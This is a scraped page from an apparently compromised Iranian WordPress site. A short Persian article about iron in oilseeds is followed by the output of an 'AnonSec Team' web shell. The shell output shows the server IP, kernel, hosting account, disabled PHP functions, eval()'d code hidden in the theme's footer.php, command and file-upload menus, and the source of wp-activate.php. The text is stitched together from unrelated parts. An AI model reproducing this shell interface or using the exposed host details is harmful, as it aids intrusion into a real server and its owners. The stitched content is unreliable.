خرید محصول

انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

مطالب مرتبط

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 3.138.36.87
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-activate.php
<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */

define( 'WP_INSTALLING', true );

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

require __DIR__ . '/wp-blog-header.php';

if ( ! is_multisite() ) {
	wp_redirect( wp_registration_url() );
	die();
}

$valid_error_codes = array( 'already_active', 'blog_taken' );

list( $activate_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
$activate_cookie       = 'wp-activate-' . COOKIEHASH;

$key    = '';
$result = null;

if ( isset( $_GET['key'] ) && isset( $_POST['key'] ) && $_GET['key'] !== $_POST['key'] ) {
	wp_die( __( 'A key value mismatch has been detected. Please follow the link provided in your activation email.' ), __( 'An error occurred during the activation' ), 400 );
} elseif ( ! empty( $_GET['key'] ) ) {
	$key = $_GET['key'];
} elseif ( ! empty( $_POST['key'] ) ) {
	$key = $_POST['key'];
}

if ( $key ) {
	$redirect_url = remove_query_arg( 'key' );

	if ( remove_query_arg( false ) !== $redirect_url ) {
		setcookie( $activate_cookie, $key, 0, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
		wp_safe_redirect( $redirect_url );
		exit;
	} else {
		$result = wpmu_activate_signup( $key );
	}
}

if ( null === $result && isset( $_COOKIE[ $activate_cookie ] ) ) {
	$key    = $_COOKIE[ $activate_cookie ];
	$result = wpmu_activate_signup( $key );
	setcookie( $activate_cookie, ' ', time() - YEAR_IN_SECONDS, $activate_path, COOKIE_DOMAIN, is_ssl(), true );
}

if ( null === $result || ( is_wp_error( $result ) && 'invalid_key' === $result->get_error_code() ) ) {
	status_header( 404 );
} elseif ( is_wp_error( $result ) ) {
	$error_code = $result->get_error_code();

	if ( ! in_array( $error_code, $valid_error_codes, true ) ) {
		status_header( 400 );
	}
}

nocache_headers();

if ( is_object( $wp_object_cache ) ) {
	$wp_object_cache->cache_enabled = false;
}

// Fix for page title.
$wp_query->is_404 = false;

/**
 * Fires before the Site Activation page is loaded.
 *
 * @since 3.0.0
 */
do_action( 'activate_header' );

/**
 * Adds an action hook specific to this page.
 *
 * Fires on {@see 'wp_head'}.
 *
 * @since MU (3.0.0)
 */
function do_activate_header() {
	/**
	 * Fires within the `<head>` section of the Site Activation page.
	 *
	 * Fires on the {@see 'wp_head'} action.
	 *
	 * @since 3.0.0
	 */
	do_action( 'activate_wp_head' );
}
add_action( 'wp_head', 'do_activate_header' );

/**
 * Loads styles specific to this page.
 *
 * @since MU (3.0.0)
 */
function wpmu_activate_stylesheet() {
	?>
	<style type="text/css">
		.wp-activate-container { width: 90%; margin: 0 auto; }
		.wp-activate-container form { margin-top: 2em; }
		#submit, #key { width: 100%; font-size: 24px; box-sizing: border-box; }
		#language { margin-top: 0.5em; }
		.wp-activate-container .error { background: #f66; color: #333; }
		span.h3 { padding: 0 8px; font-size: 1.3em; font-weight: 600; }
	</style>
	<?php
}
add_action( 'wp_head', 'wpmu_activate_stylesheet' );
add_action( 'wp_head', 'wp_strict_cross_origin_referrer' );
add_filter( 'wp_robots', 'wp_robots_sensitive_page' );

get_header( 'wp-activate' );

$blog_details = get_site();
?>

<div id="signup-content" class="widecolumn">
	<div class="wp-activate-container">
	<?php if ( ! $key ) { ?>

		<h2><?php _e( 'Activation Key Required' ); ?></h2>
		<form name="activateform" id="activateform" method="post" action="<?php echo esc_url( network_site_url( $blog_details->path . 'wp-activate.php' ) ); ?>">
			<p>
				<label for="key"><?php _e( 'Activation Key:' ); ?></label>
				<br /><input type="text" name="key" id="key" value="" size="50" autofocus="autofocus" />
			</p>
			<p class="submit">
				<input id="submit" type="submit" name="Submit" class="submit" value="<?php esc_attr_e( 'Activate' ); ?>" />
			</p>
		</form>

		<?php
	} else {
		if ( is_wp_error( $result ) && in_array( $result->get_error_code(), $valid_error_codes, true ) ) {
			$signup = $result->get_error_data();
			?>
			<h2><?php _e( 'Your account is now active!' ); ?></h2>
			<?php
			echo '<p class="lead-in">';
			if ( '' === $signup->domain . $signup->path ) {
				printf(
					/* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */
					__( 'Your account has been activated. You may now <a href="%1$s">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
					esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
					esc_html( $signup->user_login ),
					esc_html( $signup->user_email ),
					esc_url( wp_lostpassword_url() )
				);
			} else {
				printf(
					/* translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost password URL. */
					__( 'Your site at %1$s is active. You may now log in to your site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href="%4$s">reset your password</a>.' ),
					sprintf( '<a href="http://%1$s">%1$s</a>', esc_url( $signup->domain . $blog_details->path ) ),
					esc_html( $signup->user_login ),
					esc_html( $signup->user_email ),
					esc_url( wp_lostpassword_url() )
				);
			}
			echo '</p>';
		} elseif ( null === $result || is_wp_error( $result ) ) {
			?>
			<h2><?php _e( 'An error occurred during the activation' ); ?></h2>
			<?php if ( is_wp_error( $result ) ) : ?>
				<p><?php echo esc_html( $result->get_error_message() ); ?></p>
			<?php endif; ?>
			<?php
		} else {
			$url  = isset( $result['blog_id'] ) ? esc_url( get_home_url( (int) $result['blog_id'] ) ) : '';
			$user = get_userdata( (int) $result['user_id'] );
			?>
			<h2><?php _e( 'Your account is now active!' ); ?></h2>

			<div id="signup-welcome">
			<p><span class="h3"><?php _e( 'Username:' ); ?></span> <?php echo esc_html( $user->user_login ); ?></p>
			<p><span class="h3"><?php _e( 'Password:' ); ?></span> <?php echo esc_html( $result['password'] ); ?></p>
			</div>

			<?php
			if ( $url && network_home_url( '', 'http' ) !== $url ) :
				switch_to_blog( (int) $result['blog_id'] );
				$login_url = wp_login_url();
				restore_current_blog();
				?>
				<p class="view">
				<?php
					/* translators: 1: Site URL, 2: Login URL. */
					printf( __( 'Your account is now activated. <a href="%1$s">View your site</a> or <a href="%2$s">Log in</a>' ), esc_url( $url ), esc_url( $login_url ) );
				?>
				</p>
			<?php else : ?>
				<p class="view">
				<?php
					printf(
						/* translators: 1: Login URL, 2: Network home URL. */
						__( 'Your account is now activated. <a href="%1$s">Log in</a> or go back to the <a href="%2$s">homepage</a>.' ),
						esc_url( network_site_url( $blog_details->path . 'wp-login.php', 'login' ) ),
						esc_url( network_home_url( $blog_details->path ) )
					);
				?>
				</p>
				<?php
				endif;
		}
	}
	?>
	</div>
</div>
<?php
get_footer( 'wp-activate' );

AnonSec - 2021